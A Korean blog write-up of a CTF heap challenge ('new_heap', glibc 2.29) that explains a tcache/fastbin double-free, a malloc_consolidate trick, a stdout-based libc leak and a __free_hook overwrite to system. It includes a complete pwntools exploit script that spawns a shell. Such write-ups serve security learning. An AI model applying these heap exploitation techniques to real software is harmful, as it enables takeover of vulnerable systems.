solver
가 4명밖에 없었던 괴랄한 glibc 2.29
heap
문제다.
작은 바이너리라 일단 간단하게 문제의 feature
를 살펴보면 다음과 같다.
alloc
, free
, exit
총 세 메뉴가 존재한다.
alloc
총 18개의 heap
을 할당할 수 있다.
0x78
이하의 size
만 할당할 수 있다.
delete
명백하게 uaf
가 발생한다. double free
exit
getchar
로 굳이 사용자에게 허락을 받는다.
setbuf
가 되어있지 않아 heap
에서 buffering
이 일어난다.
exploit
glibc 2.29
환경이므로 tcache double free
가 불가능하다.
때문에 18
개의 heap
개수 제한에서 fastbin
을 이용하여 exploit
을 하는 것도 불가능하다.
getchar()
에 hint
가 존재한다. 이를 이용하여 malloc_consolidate
를 진행하면 된다.
여기서 굉장히 tricky
한 방법이 사용되는데, tcache
7개를 모두 채운 후 1개를 더 free
시키면 fastbin
에 할당이 된다.
이 때, malloc
으로 tcache
를 하나 비우고 fastbin
에 들어가있는 chunk
를 다시 free
시키면 tcache
와 fastbin
에 동일한 주소가 들어가게 된다.
이를 이용하여 malloc_consolidate
로 fastbin
을 병합시킬 때, 윗주소에 fake chunk
를 만들어 smallbin
으로 만들고, &main_arena->fd
, &main_arena->bk
를 이용하여 1 byte bruteforcing
으로 stdout->flags, stdout->write_base
를 조작하여 libc
를 leak
하고, __free_hook
을 system
으로 덮어 shell
을 얻어내면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('new_heap')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla('3.exit\n', sel)
def alloc(size, data):
menu('1')
sla('size:', size)
sa('content:', data)
def free(idx):
menu('2')
sla('index:', idx)
def exit(sel):
menu('3')
sa('sure?\n', sel)
ru(':')
present = int(s.recv(4),16)
log.info('present: {}'.format(hex(present)))
for i in range(5):
alloc(str(0x78), str(i)*0x11)
alloc(str(0x78), "\x00"*0x58 + p64(0x81)) #5
alloc(str(0x38), "6")
alloc(str(0x78), "\x00"*0x18 + p64(0x61)) #7
alloc(str(0x78), "8")
for i in range(9):
free(str(i))
alloc(str(0x78), '\x00'*8)
free('8')
alloc(str(0x78), "\x30"+p8(present+3))
exit('AAAA')
free('7')
alloc(str(0x18), 'ex')
alloc(str(0x18), "\x50\x37") # write_base
alloc(str(0x38), "ex")
alloc(str(0x38), p64(0)*2+p64(0xfbad3887)+p64(0)*3+'\x00')
s.recv(8)
l_base = u64(s.recv(8)) - 0x1e7570
log.info('l_base: {}'.format(hex(l_base)))
alloc(str(0x38), p64(0)*3 + p64(0x81) + p64(l_base +l.symbols['__free_hook']))
alloc(str(0x78), "/bin/sh\x00")
alloc(str(0x78), p64(l_base+l.symbols['system']))
free('16')
io()
'system > writeup' 카테고리의 다른 글
2018 bctf three (0) | 2019.12.01 |
---|---|
2018 bctf houseofatum (0) | 2019.12.01 |
2019 csaw final arevenge (0) | 2019.11.29 |
2019 hack.lu chat (0) | 2019.11.12 |
2019 hitcon lazyhouse (0) | 2019.11.06 |